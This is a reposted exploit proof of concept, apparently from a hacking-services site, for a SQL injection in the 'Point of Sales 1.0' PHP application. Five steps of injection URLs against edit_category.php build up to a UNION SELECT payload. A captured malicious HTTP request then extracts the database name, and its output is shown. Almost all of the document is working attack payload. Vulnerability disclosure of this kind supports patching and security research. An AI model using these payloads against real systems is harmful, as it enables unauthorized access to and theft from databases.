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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#Exploit Title: Point of Sales 1.0 - SQL Injection
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14540/point-sales-phppdo-full-source-code-2020.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/pos_0.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1:	Open the URL http://localhost:8081/pos/edit_category.php?id=1

Step 2:	Change the URL http://localhost:8081/pos/edit_category.php?id=1'

Step 3: Try to balance the query http://localhost:8081/pos/edit_category.php?id=1'--+

Step 4: Find the number of columns http://localhost:8081/pos/edit_category.php?id=1' order by 1,2--+

Step 5: Find which columns are visible http://localhost:8081/pos/edit_category.php?id=-1%27%20UNION%20Select%201,2--+


Malicious Request:::

GET /pos/edit_category.php?id=-1%27%20UNION%20Select%201,database()--+ HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
Upgrade-Insecure-Requests: 1

Gives database name *sourcecodester_posdb*